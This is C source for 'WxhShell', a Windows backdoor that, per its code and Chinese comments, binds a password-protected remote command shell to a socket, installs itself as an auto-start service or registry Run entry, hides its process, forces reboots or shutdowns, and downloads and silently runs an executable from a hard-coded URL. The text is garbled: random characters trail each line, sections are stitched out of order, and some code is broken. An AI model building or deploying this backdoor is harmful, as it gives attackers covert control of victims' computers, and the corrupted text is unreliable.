    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Ew PJ|Z^  
    if(Boot(SHUTDOWN)) zc;kNkV#1Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mkyYs[  
    else { pqpsa'  
    closesocket(wsh);  XA;PWl5!  
    ExitThread(0); ">t^jt{  
    } RS}_cm0  
    break; _$@fCo0  
    } .txtt?ZF2  
  // 获取shell NdLe|L?c  
  case 's': { VgYy7\?p  
    CmdShell(wsh); e\[q3J  
    closesocket(wsh); SWI\;:k  
    ExitThread(0); ,~Xe#e M  
    break;  X{Vs  
  } (EWGX |QA  
  // 退出 KP0(w(q  
  case 'x': { R,PN?aj  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); oz{X"jfu  
    CloseIt(wsh); WK*tXc_[b  
    break; ]3*w3Y!XK  
    } !\%JOf}  
  // 离开 p7`9 d1n  
  case 'q': { )hO%W|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _(' @'r  
    closesocket(wsh); !=.y[Db=  
    WSACleanup(); ",gVo\^  
    exit(1); [Ca''JqrA  
    break; ]rY9t@  
        } Z.@n7G  
  } x2)WiO/As  
  } ZR3,dW6S  
ATc!c +  
  // 提示信息 $04lL/;  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iCiKr aW  
} UYZC% $5x  
  } g_l-@  
JP\jhkn  
  return; LNk :PD0m  
} b&h'>(  
8 NNh8k#6  
// shell模块句柄 !f AvxR  
int CmdShell(SOCKET sock) RF2I_4  
{ ) aMiT  
STARTUPINFO si; dI7rx+L  
ZeroMemory(&si,sizeof(si)); cL4Go,)w  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _,K[kVn  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; lj&\F|-i  
PROCESS_INFORMATION ProcessInfo; r 56~s5A  
char cmdline[]="cmd"; xE--)=<$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Sb2_&5  
  return 0; #X*);cn  
} \oxf_4X  
X.#9[3U+  
// 自身启动模式 (Lz|o!>  
int StartFromService(void) h0~<(3zC  
{ CHqi5Z/+  
typedef struct Gb[J3:.  
{ PEjd  
  DWORD ExitStatus; .,S`VNU  
  DWORD PebBaseAddress; \+U;$.)3  
  DWORD AffinityMask; &*O'qOO<2  
  DWORD BasePriority; dly -mPmP  
  ULONG UniqueProcessId; p8.JJt^  
  ULONG InheritedFromUniqueProcessId; =$#5Ge]b  
}   PROCESS_BASIC_INFORMATION; @zw&-b:qI  
ON!Fk:-  
PROCNTQSIP NtQueryInformationProcess; M"K$.m@t  
M{)eA<6  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; wt@TR~a  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; RlvvO  
K9ih(fh)  
  HANDLE             hProcess; 6_yatq5c  
  PROCESS_BASIC_INFORMATION pbi; PW"?* ~&  
ft{i6}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _RzoXn{1e  
  if(NULL == hInst ) return 0; ^P [#YO  
 C. uv0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Jk|DWZ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8>vNa  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); VpbJe@*D  
c-.F {~  
  if (!NtQueryInformationProcess) return 0; 4V]xVma  
d=vD Pf  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); SZtSUt(ss  
  if(!hProcess) return 0; X>yE<ni  
_m a;b<I/<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6+s&%io4  
I~"l9Jc!"  
  CloseHandle(hProcess); L4u.cH J}0  
0@u{(m  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); f::^zAV  
if(hProcess==NULL) return 0; ? )IH#kL  
hD,^mru  
HMODULE hMod; l96 AJB'  
char procName[255]; l9y%@7  
unsigned long cbNeeded; ">fRM=fl  
P6v@ Sn  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); j~;y~Cx?  
!HXsxNe  
  CloseHandle(hProcess); xA n|OSe  
C<^S$  
if(strstr(procName,"services")) return 1; // 以服务启动 Mcd K!V  
t[b(erO'  
  return 0; // 注册表启动 9(KffnE^  
} bhZ5-wo4%  
( Y mIui>  
// 主模块 >M m.MNU  
int StartWxhshell(LPSTR lpCmdLine) H3JDA^5  
{ t3Iij0b~  
  SOCKET wsl; 7d_"4;K)  
BOOL val=TRUE; &Fmen;(  
  int port=0; ]<fZW"W< q  
  struct sockaddr_in door; yN#]Q}4  
Au )%w  
  if(wscfg.ws_autoins) Install(); ~~ty9;KYL  
PCKxo;bD  
port=atoi(lpCmdLine); .e S* F  
<%`z:G3  
if(port<=0) port=wscfg.ws_port; R*vfp?x  
Tl^)O^/  
  WSADATA data; 1<M~ #  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; U4e9[=q`'  
D6FG$SV  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &v r0{]V^  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /q`f3OV"  
  door.sin_family = AF_INET; mj2sbRiSR=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -r{]9v2j  
  door.sin_port = htons(port); V Z60   
KH[Oqd  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { YdAC<,e&A  
closesocket(wsl); d[ce3':z  
return 1; mgEZiAV?  
} |Gb~[6u   
j 2Jew  
  if(listen(wsl,2) == INVALID_SOCKET) { )|S!k\^A  
closesocket(wsl); (Z>vbi%  
return 1; s3gT6  
} YW-Ge  
  Wxhshell(wsl); 5kj=Y]9\I  
  WSACleanup(); }/.b@`Dh;  
54&&=NVs|  
return 0; oVnHbvP1X  
mz .uK2l{  
} T(eNK c2  
cU=EXyP%  
// 以NT服务方式启动 EF'U`\gX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )G9,5[  
{ Q<Th*t   
DWORD   status = 0; <F5x}i~(C  
  DWORD   specificError = 0xfffffff; ?s{Pp  
fYZ)5xnj  
  serviceStatus.dwServiceType     = SERVICE_WIN32; V 8J!8=2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; I!,FxOM|$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; KZTT2KsYl  
  serviceStatus.dwWin32ExitCode     = 0; ais"xm<V  
  serviceStatus.dwServiceSpecificExitCode = 0; 25`6V>\  
  serviceStatus.dwCheckPoint       = 0; 'd=B{7k@  
  serviceStatus.dwWaitHint       = 0; h{M.+I$}C  
^Zw1X6C5~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); I)X33X,  
  if (hServiceStatusHandle==0) return; /=ro$@  
ZZ{:f+=?$  
status = GetLastError(); #+Cu&l  
  if (status!=NO_ERROR) o%=OBTh_   
{ @phb5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {%3sj"suB  
    serviceStatus.dwCheckPoint       = 0; AE 2>smp5@  
    serviceStatus.dwWaitHint       = 0; L+y90 T6?  
    serviceStatus.dwWin32ExitCode     = status; -XtDGNH F  
    serviceStatus.dwServiceSpecificExitCode = specificError; P_ x9:3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8!{F6DG  
    return; b7h0V4w  
  } E"$AOM?(*i  
-%^KDyZ<&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Z-,' M tD  
  serviceStatus.dwCheckPoint       = 0; Y-Gqx  
  serviceStatus.dwWaitHint       = 0; +\n8##oAI  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); h*9s^`9)  
} 8n^v,s>  
_+hf.[""  
// 处理NT服务事件,比如:启动、停止 6{p] cr  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <Sx-Ca7  
{ +WYXj  
switch(fdwControl) VUaYK  
{ L^zF@n^5A  
case SERVICE_CONTROL_STOP: 9'|NF<  
  serviceStatus.dwWin32ExitCode = 0; Hjm  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Gn_rf"  
  serviceStatus.dwCheckPoint   = 0; Td !7Rx _  
  serviceStatus.dwWaitHint     = 0; hI{M?LQd  
  { 6Tn.56X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ErNL^Se1  
  } Z&!5'_9{V  
  return; >Hq)1o  
case SERVICE_CONTROL_PAUSE: 4iiW{rh4  
  serviceStatus.dwCurrentState = SERVICE_PAUSED;  X)^kJ`  
  break; MwN.Ll  
case SERVICE_CONTROL_CONTINUE: 8e9ZgC|  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -5~&A6+ILn  
  break; U!rhj&n  
case SERVICE_CONTROL_INTERROGATE: R7 )2@;i  
  break; ySLa4DQf  
}; t`6R)'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); XUrxnJ4  
} '<.@a"DnJ  
/K{` gc  
// 标准应用程序主函数 mgk<PY  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -c"nx$  
{ vnT'.cBB:^  
 ahno$[  
// 获取操作系统版本 y3 vDKZ  
OsIsNt=GetOsVer(); b'Scoa7@'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }6;v`1Hr  
gn>qd6P  
  // 从命令行安装 Ps@a@d"83  
  if(strpbrk(lpCmdLine,"iI")) Install(); #-wtNM%1#  
pDlU*&  
  // 下载执行文件 ^a6c/2K  
if(wscfg.ws_downexe) { p,hDZea  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) o/grM+_  
  WinExec(wscfg.ws_filenam,SW_HIDE); /~?'zr  
}  Hy _ (  
=BN_Kvza^6  
if(!OsIsNt) { aXAV`%b  
// 如果时win9x,隐藏进程并且设置为注册表启动 sOegR5?;  
HideProc(); WJp9io[GM  
StartWxhshell(lpCmdLine); 95 7Cr  
} i$GL]0  
else 3dlL?+Y#  
  if(StartFromService()) !Nu ~4  
  // 以服务方式启动 8J}gj7^8  
  StartServiceCtrlDispatcher(DispatchTable); x]~{#pH@<  
else v##k,R.d  
  // 普通方式启动 @+OX1-dd/w  
  StartWxhshell(lpCmdLine); O_yk<  
a^U)2{A*f  
return 0; Y7TW_[_u  
} G4=R4'hC  
'G6g yO/K  
sp=;i8Y 3  
oa4{s&db-  
=========================================== =Oo=&vA.oc  
f,Z* o  
`Bw>0%.  
l[Hgh,  
T1\LS*~!  
(!^i6z0Sp  
" kx6AMx!nX  
G?p !*7N  
#include <stdio.h> MLbmz\8a  
#include <string.h> ,".1![b  
#include <windows.h> m?Tv8-1  
#include <winsock2.h> ~F gxhK2+  
#include <winsvc.h> (gdi 2  
#include <urlmon.h> }0Q_yuzx0m  
FX"j8i/N  
#pragma comment (lib, "Ws2_32.lib") Ol%KXq[  
#pragma comment (lib, "urlmon.lib") })v`` +  
MBeubS  
#define MAX_USER   100 // 最大客户端连接数 {`-f<>N3  
#define BUF_SOCK   200 // sock buffer v[++"=< o8  
#define KEY_BUFF   255 // 输入 buffer .paKV"LJ  
RgB5'$x}  
#define REBOOT     0   // 重启 DW@|H  
#define SHUTDOWN   1   // 关机 DJ zJ$Q  
T[M:%vjYF  
#define DEF_PORT   5000 // 监听端口 [:CV5k~xc  
wFe?0u  
#define REG_LEN     16   // 注册表键长度 aEL^N0\d  
#define SVC_LEN     80   // NT服务名长度 dH5 Go9`~R  
J~}%j.QQ7  
// 从dll定义API bS1?I@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); G\X}gqe(OJ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -nHt6AbqP  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); yi29+T7j4S  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !R`E+G@   
|c<h& p  
// wxhshell配置信息 "j2th.  
struct WSCFG { rEoMj)~\4&  
  int ws_port;         // 监听端口 y-.<iq  
  char ws_passstr[REG_LEN]; // 口令 j[ fE^&  
  int ws_autoins;       // 安装标记, 1=yes 0=no k1.h|&JJN  
  char ws_regname[REG_LEN]; // 注册表键名 (C3:_cM5  
  char ws_svcname[REG_LEN]; // 服务名 wr) \GJ#>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3 i*HwEh  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 a3f- 9LN  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 762c`aP_(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ehpU`vQz  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" D8rg:,'6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 rGn6S &-  
iaV%*  
}; ^oLMgz  
es6]c%o:t^  
// default Wxhshell configuration ;%ng])w=;  
struct WSCFG wscfg={DEF_PORT, j*6>{_[  
    "xuhuanlingzhe", @'~7O4WH  
    1, ZL7#44  
    "Wxhshell", _;!$1lM[  
    "Wxhshell", ns&3Dh(IVP  
            "WxhShell Service", O{<uW-  
    "Wrsky Windows CmdShell Service", ]YciLc(  
    "Please Input Your Password: ", !q8"Q t  
  1, "n, %Hh  
  "http://www.wrsky.com/wxhshell.exe", VE $Kdo^  
  "Wxhshell.exe" -T8'|"g  
    }; u[<ij  
G'<Ie@$6l  
// 消息定义模块 '}N4SrU$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4}r.g0L  
char *msg_ws_prompt="\n\r? for help\n\r#>"; i"h~QEE  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; DUMC4+i  
char *msg_ws_ext="\n\rExit."; s}93nv*ez  
char *msg_ws_end="\n\rQuit."; d1>L&3HKx  
char *msg_ws_boot="\n\rReboot..."; }v`Z. ?|Z  
char *msg_ws_poff="\n\rShutdown..."; ']:>Ww.S  
char *msg_ws_down="\n\rSave to "; t!&p5wJ*Q  
k++"  
char *msg_ws_err="\n\rErr!"; g@Z7f y7  
char *msg_ws_ok="\n\rOK!"; @#>YU  
fAT+x1J\  
char ExeFile[MAX_PATH]; Da)H/3ii  
int nUser = 0; U:fGIEz{ZY  
HANDLE handles[MAX_USER]; rNl%I@G  
int OsIsNt; m5%E1k$=  
cR6Rb[9 N  
SERVICE_STATUS       serviceStatus; eAK=ylF;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; M!b-;{;'  
S#F%OIx  
// 函数声明 bNG7A[|B  
int Install(void); HXP/2&|JY  
int Uninstall(void); ayZWt| iHA  
int DownloadFile(char *sURL, SOCKET wsh); ZPlY]e  
int Boot(int flag); 1#lH5|XQ  
void HideProc(void); D}/nE>*  
int GetOsVer(void); j-k]|0ea}  
int Wxhshell(SOCKET wsl); -1%AM40j  
void TalkWithClient(void *cs); B42qiV2/k  
int CmdShell(SOCKET sock); Is(ZVI  
int StartFromService(void); h%ba!  
int StartWxhshell(LPSTR lpCmdLine); _}l7f  
C[[:/X(c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2!nz>K  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); a\xf\$Ym  
] ?k\ qS  
// 数据结构和表定义 ?#|in}  
SERVICE_TABLE_ENTRY DispatchTable[] = Io4Ss1="  
{ I^?hVH  
{wscfg.ws_svcname, NTServiceMain}, }_h2:^n  
{NULL, NULL} X8 x:/]/0  
}; y:VY8a 4  
,L;%-}#$  
// 自我安装 [g@ .dr3t  
int Install(void) '&F Pk T:5  
{ K{`3,U2Wx  
  char svExeFile[MAX_PATH]; nq*D91Q  
  HKEY key; g)=-%n'RoE  
  strcpy(svExeFile,ExeFile); im@c||  
s>a(#6Q  
// 如果是win9x系统,修改注册表设为自启动 S!g0J}.z  
if(!OsIsNt) { %!V=noo  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F>"B7:P1:Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D)J'xG_<O  
  RegCloseKey(key); AxiCpAS;J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +5ue) `  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Rqun}v}  
  RegCloseKey(key); %VGQ{:  
  return 0; F5YHc$3^  
    } K~jN"ev  
  } 3.?B')  
} 3.D|xE]g  
else { 9I*i/fa  
DTM xfQdk  
// 如果是NT以上系统,安装为系统服务 3R[,,WAj$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); m*\XH DB  
if (schSCManager!=0) c7/fQc)h4d  
{ I#GsEhi  
  SC_HANDLE schService = CreateService $6yr:2Xvt  
  ( <UBB&}R0  
  schSCManager, 'H)l~L  
  wscfg.ws_svcname, Yc~c(1VRz  
  wscfg.ws_svcdisp, m| k:wuzqK  
  SERVICE_ALL_ACCESS, Tsl0$(2W  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , OojQG  
  SERVICE_AUTO_START, Y )9]I6n7  
  SERVICE_ERROR_NORMAL, bPo*L~xdk  
  svExeFile, f*GdHUZ*  
  NULL, ~0ZLaiJ  
  NULL, =]hPX  
  NULL, jthGNVZ  
  NULL, y3)R:h4AH  
  NULL bx%P-r31  
  ); N!#TK9  
  if (schService!=0) ]QK@zb}x  
  { So\f [/em  
  CloseServiceHandle(schService); @Z%I g  
  CloseServiceHandle(schSCManager); `DcZpd.n  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]WP[hF  
  strcat(svExeFile,wscfg.ws_svcname); f/K:~#k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *WX,bN6Ot  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >aV Q  
  RegCloseKey(key); kpt 0spp  
  return 0;  C#x9RW  
    } 4?F7%^vr  
  } =_Y#uE$  
  CloseServiceHandle(schSCManager); 7SpF&  
} Xv1mjHZCC  
} *Mr?}_,X*  
3~Vo]wv  
return 1; 0(~,U!g[=  
} 7Yrp#u1!  
sVJwe\!  
// 自我卸载 KZ}F1Mr  
int Uninstall(void) m?=9j~F *  
{ 60u}iiC@  
  HKEY key; D/=  AU  
hWqI*xSaJ  
if(!OsIsNt) { yxU??#v|g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~Q)137u]P  
  RegDeleteValue(key,wscfg.ws_regname); (1my9k5C  
  RegCloseKey(key); MVpk/S%W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z>#MTxU(  
  RegDeleteValue(key,wscfg.ws_regname); ;\5^yDv[e  
  RegCloseKey(key); KoPhPH  
  return 0; "|:I]ZB  
  } 5%E.UjC  
} .g6DKjy>  
} +o\s |G|l  
else { ]8i2'x  
+ ^9;<>P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0Tm"Zh?B|  
if (schSCManager!=0) ]%K 8  
{ "?~u*5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); K{)YnY_E;  
  if (schService!=0) 3g#fX{e_5!  
  { ?/,sKF74i  
  if(DeleteService(schService)!=0) { faVR %  
  CloseServiceHandle(schService); > CPJp!u  
  CloseServiceHandle(schSCManager); *\i<+~I@l  
  return 0; u,6 'yB'u  
  } p<@0b  
  CloseServiceHandle(schService); N8>;BHBV!  
  } mQOYjy3  
  CloseServiceHandle(schSCManager); e8TJ =}\  
} W~1MeAI  
} ]c8O"4n n  
+r+H`cT@  
return 1; I oz rZ  
} m_7)r  
3??*G8Yp  
// 从指定url下载文件 ?'_Q^O>  
int DownloadFile(char *sURL, SOCKET wsh) YJO,"7+  
{ a?IL6$z  
  HRESULT hr; (/c&#W  
char seps[]= "/"; q1nGj  
char *token; aeESS;JxJj  
char *file; BW>f@;egg  
char myURL[MAX_PATH]; "Iy @PR?>  
char myFILE[MAX_PATH]; wNuS'P_(:T  
I499 Rrw#E  
strcpy(myURL,sURL); VvwQz#S  
  token=strtok(myURL,seps); ]Qp0|45=  
  while(token!=NULL) z^/aJ@gQ  
  { MR90}wXE  
    file=token; z/7H/~d  
  token=strtok(NULL,seps); $ V"~\h8  
  } =s P6  
wR;_x x  
GetCurrentDirectory(MAX_PATH,myFILE); /hue]ZaQq  
strcat(myFILE, "\\"); 4"e7 43(  
strcat(myFILE, file); >9f-zv(n  
  send(wsh,myFILE,strlen(myFILE),0); z,nRw/o  
send(wsh,"...",3,0); Pl=X<Bp  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); V(3udB@K  
  if(hr==S_OK) {Ex0mw)T  
return 0; <3;/,>^ Pm  
else K \}xb2s  
return 1; G}<q  
B@]( ,  
} R Nr=M^Zn  
^/HE_keY  
// 系统电源模块 1$fA9u$  
int Boot(int flag) (jkjj7a  
{ >P5 EW!d  
  HANDLE hToken; ru)%0Cyx  
  TOKEN_PRIVILEGES tkp; _OTkv6;4n  
=o=)EU{~  
  if(OsIsNt) { \O?#gW\tR  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); U %Aj~K^b  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); C+}uH:I'L  
    tkp.PrivilegeCount = 1; L[+65ce%*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; KoQvC=+WI  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Tk/K7h^  
if(flag==REBOOT) { u=#!je  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _'Q}Y nEv  
  return 0; 8(%iYs$  
} qwA: o-q"  
else { $$ \| 3rj!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ms3Ec`i9  
  return 0; }?>30+42:  
} wmY6&^?uS  
  } \C*?a0!:Z}  
  else { &nj@t>5Bs$  
if(flag==REBOOT) { @8 @cpm  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) u9m"{KnV  
  return 0; oHu0] XA  
} w0moC9#$?  
else { 05nG |  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) m+DkO{8F  
  return 0; `-Gs*#(/  
} ux VXnQQ  
} Y cO tPS%  
4jis\W}%L3  
return 1; `EU=u_N  
} ngEjbCV+  
|...T 4:^Y  
// win9x进程隐藏模块 *8js{G0h  
void HideProc(void) 5`6@CRef  
{ 5H==m~  
2={`g/WeE  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); QS_" fsyN:  
  if ( hKernel != NULL ) L4}C%c\p*  
  { y| @[?B  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "z< =S  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  uGc}^a2  
    FreeLibrary(hKernel); Thw E1M  
  } gGe `w  
aQ]C`9k  
return; (Pc:A! }  
} 2HkP$;lED  
6BLw 4m=h  
// 获取操作系统版本 l5D8DvJCj  
int GetOsVer(void) `dn|n I2  
{ DDc?G Y:  
  OSVERSIONINFO winfo; MBXumc_g  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0j7\.aaK  
  GetVersionEx(&winfo); cm6cW(x6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) e<9IwS!/  
  return 1; #r#UO  
  else 4[Hf[.  
  return 0; cZZ-K?_  
} B Lw ssr.  
-+#\WB{AI  
// 客户端句柄模块 -fT]}T6=  
int Wxhshell(SOCKET wsl) >q[(UV  
{ vv"_u=H  
  SOCKET wsh; B;2os^*  
  struct sockaddr_in client; @iS(P u  
  DWORD myID; z6ArSLlZ  
LylB3BM  
  while(nUser<MAX_USER) JN$v=Ox{  
{ |94"bDL3~  
  int nSize=sizeof(client); iaLsIy#h  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); t(/e~w  
  if(wsh==INVALID_SOCKET) return 1; 5|9,S  
l~!\<, !  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Siq2Glg_  
if(handles[nUser]==0) `QnKal)  
  closesocket(wsh); ;Bat!K7W  
else &BFW`5N  
  nUser++; i"r&CS)sT  
  } '0p 5|[ZD  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (lTM5qC  
[YpSmEn}Y  
  return 0; Wr a W  
} (I IPrW;>  
^}8(o  
// 关闭 socket SWN i@  
void CloseIt(SOCKET wsh) Yo/U/dB  
{ (vB aem9  
closesocket(wsh); N&]v\MjI62  
nUser--; lQ<2Vw#Yl  
ExitThread(0); _[<R<&jG  
} JN .\{ Y  
Vl%AN;o  
// 客户端请求句柄 osoreo;V^  
void TalkWithClient(void *cs) X};m\Bz  
{ %g5TU 6WP  
3{ LXx  
  SOCKET wsh=(SOCKET)cs; *`mPPts}  
  char pwd[SVC_LEN]; XZEawJ0  
  char cmd[KEY_BUFF]; GpMKOjVm|  
char chr[1]; J;W(}"cFq  
int i,j; DJ_,1F  
K kP}z  
  while (nUser < MAX_USER) { Dd-;;Y1C  
w,bILv)  
if(wscfg.ws_passstr) { F l83 Z>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (%}T\~`1z#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UCj4%y6t  
  //ZeroMemory(pwd,KEY_BUFF); #s$b\"4  
      i=0; bY|%ois4  
  while(i<SVC_LEN) { Z.am^Q^Y!  
P~Q5d&1SO  
  // 设置超时 guz{DBlK  
  fd_set FdRead; XKp.]c wP  
  struct timeval TimeOut; *:J#[ET,  
  FD_ZERO(&FdRead); 1sl^+)z8  
  FD_SET(wsh,&FdRead); ?VrZM  
  TimeOut.tv_sec=8; 8 !Pk1P  
  TimeOut.tv_usec=0; T)&J}^j  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $e& ( ncM  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :@jhe8'w  
/=w9bUj5v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +6|Ys  
  pwd=chr[0]; ,Xs%Cg_Ig  
  if(chr[0]==0xd || chr[0]==0xa) { jCDZ$W89  
  pwd=0; {Z 3t0F  
  break; .j:.?v  
  } et(/`  
  i++; 1@q~(1-o  
    } xT70Rp(2po  
-ZFeE[Z  
  // 如果是非法用户,关闭 socket F(>']D9$.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); W.iL!x.B@  
} sfNXIEr^  
!`q*{Ojx  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); lc>)7UF  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lwYk`'  
qIcQPJn!}  
while(1) { O( G|fs  
yn<H^c  
  ZeroMemory(cmd,KEY_BUFF); ^prseO?A  
hYMIe]kJ  
      // 自动支持客户端 telnet标准   :-ZE~b HJ  
  j=0; N(>a-a  
  while(j<KEY_BUFF) { Gc>bli<-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <8Ek-aNNt  
  cmd[j]=chr[0]; ?#!Hm`\.  
  if(chr[0]==0xa || chr[0]==0xd) { hO(8v&ns3  
  cmd[j]=0; cE> K:3n  
  break; %^[45e  
  } QLH&WF  
  j++; bhe~ekb  
    } =MDir$1Z  
9)0AwLlv  
  // 下载文件 ;ZX P*M9  
  if(strstr(cmd,"http://")) { `}.K@17  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3{RuR+yi  
  if(DownloadFile(cmd,wsh)) 0#4_vg .  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); v'Ce|.;  
  else s (|T@g  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F>jPr8&  
  } _Z+tb]  
  else { ,/6V^K  
